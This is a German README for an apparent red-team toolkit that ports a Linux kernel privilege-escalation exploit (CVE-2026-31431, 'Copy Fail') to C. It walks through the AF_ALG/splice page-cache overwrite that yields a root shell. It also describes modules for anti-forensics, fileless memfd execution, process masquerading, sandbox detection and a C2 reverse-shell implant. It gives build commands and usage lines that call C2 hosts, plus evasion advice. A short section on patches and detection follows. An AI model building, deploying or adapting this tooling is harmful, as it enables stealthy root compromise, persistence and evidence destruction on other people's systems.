Copy Fail -- CVE-2026-31431
Gehärtete C-Implementierung für Redteam-Operationen und autorisierte Penetrationstests.
⚠️ Rechtlicher Hinweis: Dieses Tool ist ausschließlich für autorisierte Sicherheitsforschung, autorisierte Penetrationstests und defensive Analysen bestimmt. Verwenden Sie es nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben. Unautorisierter Zugriff auf Computersysteme ist illegal.
🚀 Die primäre Entwicklung wurde zu GitLab verlegt.
Dieses Repository wird hier aktiv weiterentwickelt. Für Issues und Beiträge nutzen Sie bitte GitLab.
Inhaltsverzeichnis
Überblick
Dieses Projekt ist eine gehärtete, produktionsreife C-Portierung des CVE-2026-31431 ("Copy Fail") Local Privilege Escalation Exploits, der ursprünglich von Theori und Xint am 29. April 2026 veröffentlicht wurde.
Der ursprüngliche Proof-of-Concept war in Python geschrieben und für Forschungsdemonstrationen ausgelegt. Diese Implementierung wandelt ihn in ein Redteam-taugliches Toolkit um, mit:
- Keine Festplattenartefakte (memfd-basierte dateilose Ausführung)
- Automatische Zielerkennung (setuid-Binär-Enumeration mit MAC-Bewusstsein)
- Anti-Forensik (Cache-Verwerfung, Zeitstempel-Wiederherstellung, Selbstzerstörung)
- Operator-Steuerung (signalgesteuerte Ausführung mit konfigurierbaren Timeouts)
- Plattformübergreifende statische Builds (x86_64, ARM64, RISC-V via musl/zig)
Originalforschung
CVE-2026-31431: Copy Fail
Schwachstellenmechanismus
Die Schwachstelle befindet sich im AF_ALG-Krypto-Subsystem des Linux-Kernels. Die AEAD-Vorlage authencesn implementiert eine In-Place-Optimierung für die Entschlüsselung: Wenn der Chiffretext über splice() aus dem Page-Cache einer Datei geliefert wird, verwendet der Kernel dieselbe Seite sowohl als Quelle als auch als Ziel.
Der Angriffsablauf:
- Eine setuid-Binärdatei (z. B.
/usr/bin/su) schreibgeschützt öffnen
- Über
AF_ALG eine authencesn(hmac(sha256),cbc(aes))-AEAD-Operation einrichten
- Chiffretext über
splice() aus dem Page-Cache der Zieldatei bereitstellen
- Die (fehlschlagende) Entschlüsselungsoperation überschreibt 4 Bytes der Page-Cache-Seite, bevor die Authentifizierung sie ablehnt
- Für jedes 4-Byte-Fenster der Nutzlast wiederholen
execve() auf das Ziel ausführen – der Kernel lädt mutierte Seiten aus dem Cache und gewährt setuid-root-Berechtigungen
- Die Payload führt zu einer vollständigen Root-Shell
Kernpunkt: Der Inode auf der Festplatte wird niemals verändert. Nur der In-Memory-Page-Cache wird mutiert, was die forensische Erkennung deutlich erschwert als bei herkömmlichen Dateiüberschreib-Exploits.
Unsere Verbesserungen
Dieses Projekt erweitert die ursprüngliche Forschung um Redteam-orientierte Härtungen in neun Modulen.
1. Gehärtetes Exploit-Primitiv (patch_chunk.c)
2. Automatische Zielerkennung (target_discovery.c)
- Dreiphasen-Scanning: Prioritätsziele → Standardverzeichnisse → Tiefenscan
- MAC-bewusste Bewertung: Bestraft Binärdateien mit AppArmor/SELinux-Profilen
- 18 Prioritätsziele:
su, sudo, passwd, pkexec, mount, ping, etc.
- Fallback-Kette: Falls primäres Ziel fehlschlägt, automatische Auswahl des nächstbesten Kandidaten
- Snap-Bewusstsein: Überspringt
/snap (nicht-traditionelle setuid)
3. Anti-Forensik-Suite (anti_forensics.c)
4. Dateilose Ausführung (memfd_exec.c)
- memfd_create + fexecve: Ausführung ohne Dateisystempfad
- Tarnung: memfd benannt als
kworker, anon_inode, eventfd (fügt sich in /proc/$pid/fd/ ein)
- Fork-und-Vergiss: Doppel-Fork zur Erzeugung eines Waisenprozesses (PPID=1)
- Entschlüsselung im Speicher: XOR und RC4 entschlüsseln-dann-ausführen (Payload niemals im Klartext auf der Festplatte)
5. Stage-1 Payload-Auslieferung (stage1.c)
6. Stage-2 C2-Implantat (stage2_template.c)
- Widerstandsfähige Wiederverbindungsschleife mit exponentiellem Backoff
- Drei Verteilungen: gleichmäßig, dreieckig, exponentieller Jitter
- Signalsteuerung:
SIGUSR1 (auslösen), SIGUSR2 (Status), SIGTERM (Herunterfahren)
- DNS-Beaconing: Heimliche C2-Health-Check vor TCP-Verbindung
- Prozess-Maskerade:
[kworker/N:0] in ps/top
7. Prozessversteck (proc_hide.c)
- argv[0]-Überschreiben: In-Place-Ersetzung von
/proc/$pid/cmdline
- prctl(PR_SET_NAME): Kernel-Thread-ähnliche Namen (16-Byte-Limit)
- Umgebungssanitisierung: Selektives Löschen von
SSH_*, AWS_*, TOKEN*, etc.
- Elternablösung:
setsid() + setpgid() für Terminalunabhängigkeit
8. Signal-Trigger-Steuerung (signal_trigger.c)
| Modus | Verhalten | Einsatzfall |
|---|
trigger_oneshot() |
Null-CPU-Warten: sigsuspend() anstelle von Polling-Schleifen.
9. Schlaf-Jitter (sleep_jitter.c)
- Drei RNG-Backends:
getrandom(2), /dev/urandom, rdtsc-Fallback
- Ablehnungsabtastung: Beseitigt Modulo-Bias bei gleichmäßiger Verteilung
- Drift-Kompensation:
sleep_scheduled() hält das durchschnittliche Intervall trotz Jitter ein
- Sandbox-Erkennung:
check_sandbox_acceleration() erkennt gepatchtes sleep()
Architektur
┌─────────────────────────────────────────────────────────────┐
│ exploit.c (Orchestrator) │
│ ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐ │
│ │ Verstecke │ │Entdecke │ │ Exploit │ │ Bereinige│ │
│ │ Prozess │ │ Ziel │ │ │ │ │ │
│ └────┬────┘ └────┬────┘ └────┬────┘ └────┬────┘ │
│ │ │ │ │ │
│ ▼ ▼ ▼ ▼ │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ Core Module Layer │ │
│ │ patch_chunk.c target_discovery.c anti_forensics.c │ │
│ └─────────────────────────────────────────────────────┘ │
│ │ │ │ │ │
│ ▼ ▼ ▼ ▼ │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ Delivery & Evasion Layer │ │
│ │ stage1.c memfd_exec.c proc_hide.c │ │
│ │ signal_trigger.c sleep_jitter.c │ │
│ └─────────────────────────────────────────────────────┘ │
│ │ │ │ │ │
│ ▼ ▼ ▼ ▼ │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ Payload Layer (Stage-2) │ │
│ │ stage2_template.c (reverse shell / C2 implant) │ │
│ └─────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────┘
Build
Voraussetzungen
- GCC oder Clang
- GNU Make
- Linux-Header (
linux-libc-dev oder Äquivalent)
- Optional:
musl-tools (für kleine statische Builds)
- Optional:
zig (für moderne Cross-Kompilierung)
- Optional:
dpkg-deb (für Debian-Paketierung)
Schnellstart
# Standard Redteam-Build (optimiert, gestrippt, statisch)
make redteam
# Pentest-Build (Symbole, moderate Optimierung)
make pentest
# Debug-Build (ASAN, vollständige Symbole)
make debug
# Schwachstellenprüfer (nicht-destruktiv)
make checker
Cross-Kompilierung
# ARM64 (AWS/Azure Cloud-Ziele)
make cross-arm64
# RISC-V
make cross-riscv
# ARM HF (Eingebettet/IoT)
make cross-armhf
# Zig Cross-Kompilierung (keine Toolchain-Installation)
make cross-zig-arm64
make cross-zig-riscv
musl Statischer Build (Kleine Binärdateien)
make musl-static
# Erzeugt ~50–100 KB statische Binärdateien ohne glibc-Abhängigkeit
Debian-Paket
make deb VERSION=1.0.0
# Erzeugt: build/deb/copy-fail-cve-2026-31431-1.0.0.deb
make info
# Zeigt: CC, CFLAGS, LDFLAGS, Architektur, Toolchain-Verfügbarkeit
Verwendung
Standardmodus (Signalgesteuert)
# Implantat bereitstellen
./exploit &
IMP_PID=$!
# Ausnutzung per Signal auslösen
kill -USR1 $IMP_PID
# Status anfordern (keine Aktion)
kill -USR2 $IMP_PID
# Sauberes Herunterfahren
kill -TERM $IMP_PID
Sofortige Ausführung
./exploit -t # Sofort auslösen, kein Signal warten
./exploit -t -c c2.example.com -p 9999
Benutzerdefinierte Konfiguration
./exploit \
-c c2.redteam.internal \ # C2-Hostname
-p 4444 \ # C2-Port
-d 300 \ # 5-minütige anfängliche Verzögerung
-T 7200 \ # 2-Stunden-Trigger-Timeout
-n # Schwachstellenverifikation überspringen
Nicht-destruktiver Schwachstellencheck
./vulnerable
# Exit-Code: 100 = verwundbar, 0 = gepatcht, andere = Fehler
Module
Operative Sicherheit
Redteam Best Practices
- Während zeiten mit geringer Aktivität bereitstellen, um Korrelation zu minimieren
- Exponentiellen Jitter für Wiederverbindungsintervalle verwenden (vermeidet Beaconing-Erkennung)
- Über SIGUSR1 auslösen anstelle von Auto-Trigger (Operator behält Kontrolle)
- Stets Bereinigung ausführen (
full_cleanup) auch wenn der Exploit fehlschlägt
- memfd-Ausführung gegenüber festplattenbasierten Payloads bevorzugen
- Doppel-Fork für Persistenz (
memfd_fork_exec_detach)
- Vor der Ausführung auf Sandbox-Beschleunigung prüfen
Forensische Artefakte
Erkennung & Gegenmaßnahmen
Defensive Erkennung
Gegenmaßnahmen
- Kernel-Patch: Upgrade auf Linux >= 6.14 mit Commit
a664bf3d603d
- Livepatch: Distro-spezifisches Backport anwenden
- SELinux/AppArmor: Profile für setuid-Binärdateien erzwingen
- eBPF-Überwachung: Trace
AF_ALG + splice()-Kombinationen
- Page-Cache-Verifikation: Periodische Integritätsprüfungen auf kritischen Binärdateien
Danksagungen
Originalforschung
Basis-C-Port
- Tony Gies –
tgies/copy-fail-c
- Bereitstellung der grundlegenden C-Implementierung unter Verwendung von
nolibc
- Plattformübergreifende Syscall-Wrapper und Build-Infrastruktur
Dieser gehärtete Fork
- Redteam-orientierte Härtung in 9 Modulen
- Operative Sicherheitsfeatures (Anti-Forensik, Tarnung, Stealth)
- Cross-Kompilierungsunterstützung (musl, zig, Multi-Arch)
- Signalbasierte Operatorsteuerung und konfigurierbare Ausführungsmodi
Danksagungen
- Linux-Kernel-Entwickler für
memfd_create(2) und fexecve(3)
nolibc-Betreuer für die Header-Only-libc-Alternative
- musl-libc-Projekt für kleine statische Binärdateien
- Zig-Projekt für moderne Cross-Kompilierungs-Toolchain
Lizenz
Dieses Projekt ist dual-lizenziert unter:
Siehe die einzelnen Quelldateien für SPDX-Identifikatoren.
Die Originalforschung und der Basis-C-Port bleiben unter ihren jeweiligen Lizenzen. Der zusätzliche Code dieses Forks wird unter der oben genannten Dual-Lizenz bereitgestellt, um eine maximale Kompatibilität mit Open-Source- und kommerziellen Sicherheitsforschungsszenarien zu gewährleisten.
Haftungsausschluss
Diese Software wird nur für autorisierte Sicherheitsforschung und autorisierte Penetrationstests bereitgestellt. Die Autoren übernehmen keine Haftung für Missbrauch oder Schäden, die durch diese Software verursacht werden. Holen Sie stets eine ordnungsgemäße Autorisierung ein, bevor Sie Systeme testen, die Ihnen nicht gehören.
Wenn Sie diese Schwachstelle auf Ihren Systemen entdecken:
- Wenden Sie den Kernel-Patch an (Commit
a664bf3d603d oder Distro-Backport)
- Überwachen Sie auf Indikatoren einer Kompromittierung (IoCs), die oben aufgeführt sind
- Prüfen Sie
/var/log/audit/ und EDR-Telemetrie auf AF_ALG-Anomalien